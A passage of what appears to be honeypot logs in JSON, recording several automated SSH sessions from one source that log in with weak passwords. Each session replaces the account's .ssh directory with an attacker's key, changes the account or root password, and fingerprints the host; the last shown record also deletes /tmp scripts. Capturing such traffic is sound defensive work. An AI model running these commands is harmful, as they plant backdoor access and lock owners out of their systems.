$2;}'"},{"seq":32,"at":"2026-08-27T01:41:46.197262+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"wushi","password":"wushi","method":"password","accepted":true,"tier":"other"}]} {"id":"cf6775e3-99df-4276-b034-0548a506f67d","name":"meadow-umber-moose","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":41666,"username":"VPN","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":518,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:38:59.630835+00:00","ended_at":"2026-08-27T01:39:00.963779+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T01:38:30.505277+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:38:31.027721+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:38:42.209754+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:38:42.864738+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:38:43.376777+00:00","kind":"input","latency_ms":null,"data":"echo -e \"VPN\\njxa8SdG3IunF\\njxa8SdG3IunF\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:38:43.920081+00:00","kind":"input","latency_ms":null,"data":"echo \"VPN\\njxa8SdG3IunF\\njxa8SdG3IunF\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:38:44.619881+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:38:45.244683+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:38:45.756877+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:38:46.660770+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:38:47.174930+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:38:48.276902+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:38:48.802103+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:38:49.397471+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:38:49.913798+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:38:50.795641+00:00","kind":"output","latency_ms":null,"data":" 01:38:50 up 6 days, 22:28, 0 user, load average: 0.18, 0.15, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:38:51.313590+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:38:51.857276+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:38:52.382422+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:38:52.919016+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:38:53.430740+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:38:54.250474+00:00","kind":"output","latency_ms":null,"data":"top - 01:38:54 up 6 days, 22:29, 0 user, load average: 0.18, 0.15, 0.22\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:38:54.770842+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:38:55.133268+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:38:55.651179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:38:56.260936+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:38:56.781515+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:38:57.570047+00:00","kind":"output","latency_ms":null,"data":"VPN"},{"seq":29,"at":"2026-08-27T01:38:58.082173+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:38:59.092385+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:38:59.631640+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:39:00.806210+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"VPN","password":"VPN","method":"password","accepted":true,"tier":"other"}]} {"id":"33dfaf6c-a578-4c80-8a86-82e9aa4f5c40","name":"marbled-somber-sable","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":39998,"username":"alma","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":530,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:35:49.956104+00:00","ended_at":"2026-08-27T01:35:51.548596+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T01:35:19.700752+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:35:20.261899+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:35:30.511561+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:35:31.298925+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:35:31.840623+00:00","kind":"input","latency_ms":null,"data":"echo -e \"alma\\n9dUjRqAtuvMm\\n9dUjRqAtuvMm\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:35:32.366286+00:00","kind":"input","latency_ms":null,"data":"echo \"alma\\n9dUjRqAtuvMm\\n9dUjRqAtuvMm\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:35:32.897436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:35:33.646319+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:35:34.406636+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:35:35.803082+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:35:36.328466+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:35:37.426317+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:35:37.949279+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:35:38.832725+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:35:39.646671+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:35:40.060554+00:00","kind":"output","latency_ms":null,"data":" 01:35:40 up 6 days, 22:25, 0 user, load average: 0.18, 0.21, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:35:40.662860+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:35:41.366140+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:35:41.896743+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:35:42.645616+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:35:43.173272+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:35:43.710906+00:00","kind":"output","latency_ms":null,"data":"top - 01:35:43 up 6 days, 22:25, 0 user, load average: 0.18, 0.21, 0.12\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:35:44.234164+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:35:44.943322+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:35:45.509997+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:35:46.351540+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:35:46.890175+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:35:47.650899+00:00","kind":"output","latency_ms":null,"data":"alma"},{"seq":29,"at":"2026-08-27T01:35:48.175594+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:35:49.431683+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:35:49.958930+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:35:51.381292+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alma","password":"alma","method":"password","accepted":true,"tier":"other"}]} {"id":"0532f9d0-de19-4259-ac4e-e3bb61f94e62","name":"blazing-curious-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":49768,"username":"vpsuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":540,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:32:33.115570+00:00","ended_at":"2026-08-27T01:32:34.542697+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T01:32:04.604375+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:32:05.184455+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:32:15.549674+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:32:16.285154+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:32:17.180994+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nWINK1C3993QB\\nWINK1C3993QB\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:32:17.736495+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nWINK1C3993QB\\nWINK1C3993QB\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:32:18.310094+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:32:19.066040+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:32:19.612574+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:32:21.009537+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:32:21.622313+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:32:22.602825+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:32:23.142090+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:32:23.413433+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:32:23.968380+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:32:24.700127+00:00","kind":"output","latency_ms":null,"data":" 01:32:24 up 6 days, 22:22, 0 user, load average: 0.25, 0.25, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:32:25.233547+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:32:25.652672+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:32:26.438244+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:32:27.100292+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:32:27.636075+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:32:27.936034+00:00","kind":"output","latency_ms":null,"data":"top - 01:32:27 up 6 days, 22:22, 0 user, load average: 0.25, 0.25, 0.28\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:32:28.471155+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:32:28.741210+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:32:29.274162+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:32:29.984186+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:32:30.521124+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:32:30.873426+00:00","kind":"output","latency_ms":null,"data":"vpsuser"},{"seq":29,"at":"2026-08-27T01:32:31.420316+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:32:32.576430+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:32:33.116406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:32:34.374946+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"vpsuser","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"dbe62335-4e5e-4818-ab78-456f858b9be9","name":"breezy-forlorn-panther","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":33206,"username":"igor","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":543,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:29:16.307101+00:00","ended_at":"2026-08-27T01:29:17.362010+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T01:28:46.706689+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:28:47.275495+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:28:58.115581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:28:58.740777+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:28:59.301089+00:00","kind":"input","latency_ms":null,"data":"echo -e \"igor123\\nYv4bB3JdUdp1\\nYv4bB3JdUdp1\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:28:59.840062+00:00","kind":"input","latency_ms":null,"data":"echo \"igor123\\nYv4bB3JdUdp1\\nYv4bB3JdUdp1\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:29:00.378528+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:29:01.142925+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:29:01.699100+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:29:03.041632+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:29:03.581951+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:29:04.899615+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:29:05.464349+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:29:06.044698+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:29:06.582937+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:29:07.249207+00:00","kind":"output","latency_ms":null,"data":" 01:29:07 up 6 days, 22:19, 0 user, load average: 0.16, 0.12, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:29:07.788816+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:29:08.290139+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:29:08.832370+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:29:09.523702+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:29:10.065501+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:29:10.470918+00:00","kind":"output","latency_ms":null,"data":"top - 01:29:10 up 6 days, 22:19, 0 user, load average: 0.16, 0.12, 0.15\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:29:11.025435+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:29:11.890317+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:29:12.432552+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:29:13.176116+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:29:13.719172+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:29:14.283156+00:00","kind":"output","latency_ms":null,"data":"igor"},{"seq":29,"at":"2026-08-27T01:29:14.830830+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:29:15.742728+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:29:16.308177+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:29:17.190661+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"igor","password":"igor123","method":"password","accepted":true,"tier":"other"}]} {"id":"66d7fd29-009f-483e-9c71-fd43eb389e87","name":"fierce-glacial-falcon","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":33574,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":567,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:23:09.177870+00:00","ended_at":"2026-08-27T01:23:10.500250+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T01:22:38.760261+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:22:39.346096+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:22:50.096150+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:22:50.794516+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:22:51.434901+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fACXj8YQt4UV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:22:52.006933+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill 